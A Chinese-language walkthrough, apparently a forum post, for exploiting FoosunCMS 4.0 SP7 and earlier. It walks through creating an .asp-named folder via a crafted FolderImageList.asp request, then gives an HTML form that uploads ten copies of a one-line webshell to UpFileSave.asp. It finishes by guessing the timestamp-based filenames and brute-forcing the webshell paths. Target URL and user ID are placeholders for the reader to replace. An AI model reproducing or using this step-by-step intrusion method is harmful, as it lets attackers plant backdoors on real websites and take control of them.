

1.版本:應(yīng)該是 4.0 sp7以下的吧(應(yīng)該算不上0day漏洞了).(網(wǎng)上資料說(shuō)的,5.0版本的我沒(méi)測(cè)試),我主要用圖片詳細(xì)解釋漏洞利用過(guò)程.
2.過(guò)程:
a)看版本,訪(fǎng)問(wèn)網(wǎng)站跟admin目錄,看登陸的logo (foosuncms),提示版本.
b)注冊(cè), 訪(fǎng)問(wèn)/User/Reg_service.asp,記錄這個(gè)id,如下圖:
c)增加.asp目錄,如:aaa.asp,那么訪(fǎng)問(wèn):/User/CommPages/FolderImageList.asp?f_UserNumber=091310I59B3&Type=AddFolder&Path=/userfiles/091310I59B3/aaa.asp//&CurrPath=/userfiles/091310I59B3
(記得將091310I59B3替換為你的注冊(cè)后的編號(hào)).訪(fǎng)問(wèn)后應(yīng)該看到如下的目錄(否則就是不支持.asp目錄了或者最新修復(fù)了漏洞的版本,后續(xù)沒(méi)得搞了,不用看了,就此打住吧):
3.傳一句話(huà)到aaa.asp目錄,這兒我自己根據(jù)抓包編寫(xiě)了一個(gè)html,關(guān)鍵解決圖片上傳后文件名猜解問(wèn)題(記得替換下面html里面得id與網(wǎng)址):
<form name=from1 method="post" enctype="multipart/form-data" target="new1" action="http://www.xxx.cn/User/Commpages/UpFileSave.asp">
數(shù)量<input name=FilesNum value=1>
<input type=file name="File1"><br>
<input name="Path" value=/UserFiles/091310I59B3/abcdefg><br>
命名方式<input name="AutoReName" value=2>
<input type=submit name="Submit" value=Submit >
</form>
<br><br>
<form name=from2 method="post" enctype="multipart/form-data" target="new2" action="http://www.xxx.cn/User/Commpages/UpFileSave.asp">
數(shù)量<input name=FilesNum value=10>
<input type=file name="File1"><br>
<input type=file name="File2"><br>
<input type=file name="File3"><br>
<input type=file name="File4"><br>
<input type=file name="File5"><br>
<input type=file name="File6"><br>
<input type=file name="File7"><br>
<input type=file name="File8"><br>
<input type=file name="File9"><br>
<input type=file name="File10"><br>
<input name="Path" value=/UserFiles/091310I59B3/aaa.asp><br>
命名方式<input name="AutoReName" value=2>
<input type=submit name="Submit" value=Submit>
</form>
<br><br>
4.猜解上傳到aaa.asp目錄得文件名,這兒注意觀(guān)察文件名文規(guī)則與文件夾時(shí)間:
從上圖看出:剛提交上去得一句話(huà)文件夾保存時(shí)間為:2010-7-9 15:08:38,那么文件名(假設(shè)是gif文件) 應(yīng)該是:
2010_07_09_15_08_38xxxxx.gif,看出來(lái)了吧,最后38是秒數(shù),那么現(xiàn)在不確定的是最后5位數(shù)字.
5.解決猜解概率問(wèn)題:雖然5位數(shù)字最多99999次,(10萬(wàn)次呀),不多也不少,下面結(jié)合上面自己編的html說(shuō)明一下如何增加命中率:
1)第一次傳一個(gè)到正常目錄(如abcdefg目錄),點(diǎn)了按鈕之后,馬上點(diǎn)下面的表單按鈕(aaa.asp目錄)[要非?,可以先點(diǎn)開(kāi)兩個(gè)窗口,不關(guān)閉,再第二次來(lái)點(diǎn),就不會(huì)打開(kāi)新窗口了,更快].
2)那么現(xiàn)在可以確定起始時(shí)間:abcdefg這個(gè)目錄里面的可以看到,而傳到aaa.asp目錄的,提交在后,時(shí)間肯定更靠后,那就將xxxxx在abcdefg目錄剛傳的圖片上面加吧.另外,因?yàn)橐淮蝹髁?0個(gè)(都是一樣的一句話(huà)),那么命中概率又大了很多呀,按上述方法,我將10萬(wàn)變成了3萬(wàn)(見(jiàn)下圖).
6.暴力猜解路徑,自己寫(xiě)個(gè)工具,或者拿那種掃后臺(tái)的軟件都可以,自己做一個(gè)字典(做字典也簡(jiǎn)單,用excel+編輯器搞定)就是了:
好吧,就到這兒,我沒(méi)幾十秒就猜到了3個(gè):